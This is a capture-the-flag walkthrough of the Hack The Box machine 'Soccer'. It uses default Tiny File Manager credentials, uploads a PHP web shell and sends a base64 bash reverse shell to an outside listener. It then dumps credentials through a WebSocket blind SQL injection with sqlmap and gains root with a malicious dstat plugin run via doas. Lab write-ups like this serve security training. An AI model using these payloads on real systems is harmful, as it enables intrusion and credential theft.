Soccer
17 minutes to read
www-data
. In the machine, we can read the configuration for nginx and find another subdomain. This one exposes a WebSocket server that is vulnerable to Boolean-based Blind SQLi. By exploiting SQLi, we can find plaintext credentials that are reused in SSH. Finally, the user is allowed to run dstat
as root
using doas
, and we are able to create a plugin to escalate privileges- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.194
- Release: 17 / 12 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.194 -p 22,80,9091
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 23.76 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 9091 open.
Enumeration
If we go to http://10.10.11.194
, we will be redirected to http://soccer.htb
, so we need to enter soccer.htb
into /etc/hosts
.
Let’s enumerate some routes with ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 61ms]
* FUZZ: tiny
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 43ms]
* FUZZ:
We see /tiny
:
This is an open-source application called Tiny File Manager, made in PHP. If we take a look at the GitHub repository, we will see that the default credentials are admin:admin@123
and user:12345
. The first ones are still configured, so we have access to the application:
Inside tiny
there is an uploads
directory:
We can try to upload a file clicking in “Upload”:
File upload exploit
Let’s upload a PHP file like this:
<?php system($_GET["cmd"]); ?>
Alright, it looks like it has been uploaded correctly. Now, if we open it, we will get Remote Code Execution (RCE) on the machine:
Therefore, let’s obtain a reverse shell on the system:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'soccer.htb/tiny/uploads/cmd.php?cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.194.
Ncat: Connection from 10.10.11.194:53704.
bash: cannot set terminal process group (1067): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@soccer:~/html/tiny/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@soccer:~/html/tiny/uploads$ export TERM=xterm
www-data@soccer:~/html/tiny/uploads$ export SHELL=bash
www-data@soccer:~/html/tiny/uploads$ stty rows 50 columns 158
Finding another subdomain
As www-data
we are very limited. Nevertheless, we can read the nginx server configuration. For instance, we can discover two sites enabled:
www-data@soccer:~$ ls -la /etc/nginx/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Dec 1 13:48 .
drwxr-xr-x 8 root root 4096 Nov 17 08:06 ..
lrwxrwxrwx 1 root root 34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
The configuration file default
is for soccer.htb
:
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
And this one is soc-player.htb
:
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
The server source code is at /root/app/views
, so we don’t have permissions to read them. However, we know that there’s a subdomain called soc-player.soccer.htb
. After setting it in /etc/hosts
, we have this website:
Let’s sign up:
And then log in:
And we arrive to this page:
Exploiting SQLi
Here we can try to search for our Ticket ID:
But it does not work. Let’s try to exploit a SQL injection vulnerability:
It is vulnerable! Notice that the ticket exists (because 1=1
). If we enter 2=1
, the ticket does not exist:
Therefore, we have a Boolean-based Blind SQLi. With this type of SQLi, we are able to dump all the database contents character by character (since we have an oracle: true or false).
If we inspect how the requests are done, they are implemented in WebSocket:
Using sqlmap
The most common tool to exploit SQLi is sqlmap
. However, this time it won’t work because the vulnerability is exploited via WebSocket, not HTTP. Therefore, we must use a proxy to translate HTTP requests to WebSocket and vice-versa, so that sqlmap
attacks the proxy and the proxy forwards the HTTP requests to the WebSocket server.
Searching for such a proxy, we can find this blogpost, which shows an implementation using Python.
We only need to edit this line:
ws_server = "ws://soc-player.soccer.htb:9091"
The JSON payload is correct, so we can now start the proxy server:
$ python3 proxy.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
And now sqlmap
will work:
$ sqlmap -u 'http://localhost:8081/?id=*' --dbs --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
[hh:mm:ss] [INFO] testing if the target URL content is stable
[hh:mm:ss] [INFO] target URL content is stable
[hh:mm:ss] [INFO] testing if URI parameter '#1*' is dynamic
[hh:mm:ss] [INFO] URI parameter '#1*' appears to be dynamic
[hh:mm:ss] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[hh:mm:ss] [INFO] testing for SQL injection on URI parameter '#1*'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] URI parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[hh:mm:ss] [INFO]heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[hh:mm:ss] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[hh:mm:ss] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 171 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] testing MySQL
[hh:mm:ss] [INFO] confirming MySQL
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[hh:mm:ss] [INFO] fetching database names
[hh:mm:ss] [INFO] fetching number of databases
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 5
[hh:mm:ss] [INFO] retrieved: mysql
[hh:mm:ss] [INFO] retrieved: information_schema
[hh:mm:ss] [INFO] retrieved: performance_schema
[hh:mm:ss] [INFO] retrieved: sys
[hh:mm:ss] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[*] ending
Let’s go straight to the point. The next step is to enumerate tables in a certain database (the most interesting one is soccer_db
):
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db --tables --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching tables for database: 'soccer_db'
[hh:mm:ss] [INFO] fetching number of tables for database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 1
[hh:mm:ss] [INFO] retrieved: accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
[*] ending
There’s only a single table. Let’s enumerate its columns:
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db -T accounts --columns --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and f
ederal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 4
[hh:mm:ss] [INFO] retrieved: id
[hh:mm:ss] [INFO] retrieved: int
[hh:mm:ss] [INFO] retrieved: email
[hh:mm:ss] [INFO] retrieved: varchar(40)
[hh:mm:ss] [INFO] retrieved: username
[hh:mm:ss] [INFO] retrieved: varchar(40)
[hh:mm:ss] [INFO] retrieved: password
[hh:mm:ss] [INFO] retrieved: varchar(40)
Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | varchar(40) |
| id | int |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+
[*] ending
Now, let’s see what we have in username
and password
columns:
$ sqlmap -u 'http://localhost:8081/?id=*' -D soccer_db -T accounts -C username,password --dump --technique B --skip-waf --level 5 --risk 3 --batch
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[hh:mm:ss] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[hh:mm:ss] [INFO] resuming back-end DBMS 'mysql'
[hh:mm:ss] [INFO] testing connection to the target URL
[hh:mm:ss] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.10')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8081/?id=-4215 OR 6811=6811
---
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[hh:mm:ss] [INFO] fetching entries of column(s) 'password,username' for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [INFO] fetching number of column(s) 'password,username' entries for table 'accounts' in database 'soccer_db'
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 1
[hh:mm:ss] [INFO] retrieved: PlayerOftheMatch2022
[hh:mm:ss] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+----------+----------------------+
| username | password |
+----------+----------------------+
| player | PlayerOftheMatch2022 |
+----------+----------------------+
[*] ending
Great, we got plaintext credentials.
However, this is a script-kiddie approach. As the blogpost says, it is recommended to write a custom script to exploit a Boolean-based Blind SQLi at least once.
Custom exploit
Here’s my contribution: websocket_sqli.py
(detailed explanation here).
$ python3 websocket_sqli.py
{
"soccer_db": {
"accounts": {
"id": [
"1324"
],
"email": [
"player@player.htb"
],
"username": [
"player"
],
"password": [
"PlayerOftheMatch2022"
]
}
}
}
Time: 144.9353368282318 s
Foothold
Now that we have a user (player
) and a plaintext password (PlayerOftheMatch2022
), we can try to connect to the machine using SSH:
$ ssh player@10.10.11.194
player@10.10.11.194's password:
player@soccer:~$ cat user.txt
2355bdcc1f0d682ade5cde4f7ae38c47
System enumeration
If we enumerate SUID binaries, we see doas
:
player@soccer:~$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/local/bin/doas
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
This program is like sudo
, it allows us to run specific commands as other users (such as root
). We can take a look at the documentation to learn how to use this program. It looks like there must be a configuration file named doas.conf
:
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
So we are able to run dstat
as root
. This program is open-source, built in Python. In the GitHub repository we can see the implementation.
It looks cool:
player@soccer:~$ dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
0 0 99 0 0| 14k 9958B| 0 0 | 0 0 | 264 494
0 1 99 0 0| 0 0 | 132B 790B| 0 0 | 254 505
0 0 99 0 0| 0 0 | 66B 342B| 0 0 | 248 479
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 236 476
0 0 100 0 0| 0 0 | 66B 342B| 0 0 | 250 498
1 0 99 0 0| 0 0 | 176B 342B| 0 0 | 264 498
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 258 514
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 260 502
1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 251 494 ^C
player@soccer:~$ doas /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
0 0 99 0 0| 14k 9963B| 0 0 | 0 0 | 264 494
0 0 100 0 0| 0 0 | 132B 790B| 0 0 | 245 468
1 1 98 0 0| 0 0 | 66B 342B| 0 0 | 282 555
0 1 99 0 0| 0 0 | 66B 342B| 0 0 | 250 487
2 2 96 0 0| 0 60k| 66B 342B| 0 0 | 280 660
1 1 98 0 0| 0 0 | 66B 350B| 0 0 | 275 502 ^C
This program has a lot of options:
player@soccer:~$ dstat --help
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)
Dstat options:
-c, --cpu enable cpu stats
-C 0,3,total include cpu0, cpu3 and total
-d, --disk enable disk stats
-D total,hda include hda and total
-g, --page enable page stats
-i, --int enable interrupt stats
-I 5,eth2 include int5 and interrupt used by eth2
-l, --load enable load stats
-m, --mem enable memory stats
-n, --net enable network stats
-N eth1,total include eth1 and total
-p, --proc enable process stats
-r, --io enable io stats (I/O requests completed)
-s, --swap enable swap stats
-S swap1,total include swap1 and total
-t, --time enable time/date output
-T, --epoch enable time counter (seconds since epoch)
-y, --sys enable system stats
--aio enable aio stats
--fs, --filesystem enable fs stats
--ipc enable ipc stats
--lock enable lock stats
--raw enable raw stats
--socket enable socket stats
--tcp enable tcp stats
--udp enable udp stats
--unix enable unix stats
--vm enable vm stats
--vm-adv enable advanced vm stats
--zones enable zoneinfo stats
--list list all available plugins
--<plugin-name> enable external plugin by name (see --list)
-a, --all equals -cdngy (default)
-f, --full automatically expand -C, -D, -I, -N and -S lists
-v, --vmstat equals -pmgdsc -D total
--bits force bits for values expressed in bytes
--float force float values on screen
--integer force integer values on screen
--bw, --black-on-white change colors for white background terminal
--color force colors
--nocolor disable colors
--noheaders disable repetitive headers
--noupdate disable intermediate updates
--output file write CSV output to file
--profile show profiling statistics when exiting dstat
delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)
None of them seem to give us a way to execute system commands or Python code. The most interesting option is --<plugin>
. Using --list
we can see which plugins are enabled:
player@soccer:~$ dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,
ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,
test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,
zfs-zil
It looks like all the plugins are stored at /usr/share/dstat
:
player@soccer:~$ ls /usr/share/dstat
__pycache__ dstat_fan.py dstat_mongodb_opcount.py dstat_nfsd4_ops.py dstat_snooze.py dstat_top_oom.py
dstat.py dstat_freespace.py dstat_mongodb_queue.py dstat_nfsstat4.py dstat_squid.py dstat_utmp.py
dstat_battery.py dstat_fuse.py dstat_mongodb_stats.py dstat_ntp.py dstat_test.py dstat_vm_cpu.py
dstat_battery_remain.py dstat_gpfs.py dstat_mysql5_cmds.py dstat_postfix.py dstat_thermal.py dstat_vm_mem.py
dstat_condor_queue.py dstat_gpfs_ops.py dstat_mysql5_conn.py dstat_power.py dstat_top_bio.py dstat_vm_mem_adv.py
dstat_cpufreq.py dstat_helloworld.py dstat_mysql5_innodb.py dstat_proc_count.py dstat_top_bio_adv.py dstat_vmk_hba.py
dstat_dbus.py dstat_ib.py dstat_mysql5_innodb_basic.py dstat_qmail.py dstat_top_childwait.py dstat_vmk_int.py
dstat_disk_avgqu.py dstat_innodb_buffer.py dstat_mysql5_innodb_extra.py dstat_redis.py dstat_top_cpu.py dstat_vmk_nic.py
dstat_disk_avgrq.py dstat_innodb_io.py dstat_mysql5_io.py dstat_rpc.py dstat_top_cpu_adv.py dstat_vz_cpu.py
dstat_disk_svctm.py dstat_innodb_ops.py dstat_mysql5_keys.py dstat_rpcd.py dstat_top_cputime.py dstat_vz_io.py
dstat_disk_tps.py dstat_jvm_full.py dstat_mysql_io.py dstat_sendmail.py dstat_top_cputime_avg.py dstat_vz_ubc.py
dstat_disk_util.py dstat_jvm_vm.py dstat_mysql_keys.py dstat_snmp_cpu.py dstat_top_int.py dstat_wifi.py
dstat_disk_wait.py dstat_lustre.py dstat_net_packets.py dstat_snmp_load.py dstat_top_io.py dstat_zfs_arc.py
dstat_dstat.py dstat_md_status.py dstat_nfs3.py dstat_snmp_mem.py dstat_top_io_adv.py dstat_zfs_l2arc.py
dstat_dstat_cpu.py dstat_memcache_hits.py dstat_nfs3_ops.py dstat_snmp_net.py dstat_top_latency.py dstat_zfs_zil.py
dstat_dstat_ctxt.py dstat_mongodb_conn.py dstat_nfsd3.py dstat_snmp_net_err.py dstat_top_latency_avg.py
dstat_dstat_mem.py dstat_mongodb_mem.py dstat_nfsd3_ops.py dstat_snmp_sys.py dstat_top_mem.py
Indeed, they are all Python scripts with a filename like dstat_<plugin>.py
.
If we take a look at the source code in GitHub, we will see that there’s a list of valid plugin paths:
Fortunately, we have write permissions at /usr/local/share/dstat
as members of group player
:
player@soccer:~$ ls -la /usr/local/share
total 24
drwxr-xr-x 6 root root 4096 Nov 17 09:16 .
drwxr-xr-x 10 root root 4096 Nov 15 21:38 ..
drwxr-xr-x 2 root root 4096 Nov 15 21:39 ca-certificates
drwxrwx--- 2 root player 4096 Feb 9 12:15 dstat
drwxrwsr-x 2 root staff 4096 Nov 17 08:06 fonts
drwxr-xr-x 5 root root 4096 Nov 17 09:09 man
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
Privilege escalation
So, since we can execute dstat
as root
using doas
, let’s create a plugin inside /usr/local/share/dstat
that executes /bin/sh
:
player@soccer:~$ cat > /usr/local/share/dstat/dstat_privesc.py
import os
os.system('/bin/sh')
^C
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,
ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,
test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,
zfs-zil
/usr/local/share/dstat:
privesc
Notice that the filename must match the plugin pattern; otherwise, the plugin would not be shown. Then, we can load this privesc
plugin and we will get a shell as root
, so we can read the root.txt
flag:
player@soccer:~$ doas /usr/bin/dstat --privesc
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami
root
# cat /root/root.txt
90d2ad373491dfbb45383cbb3acc44d5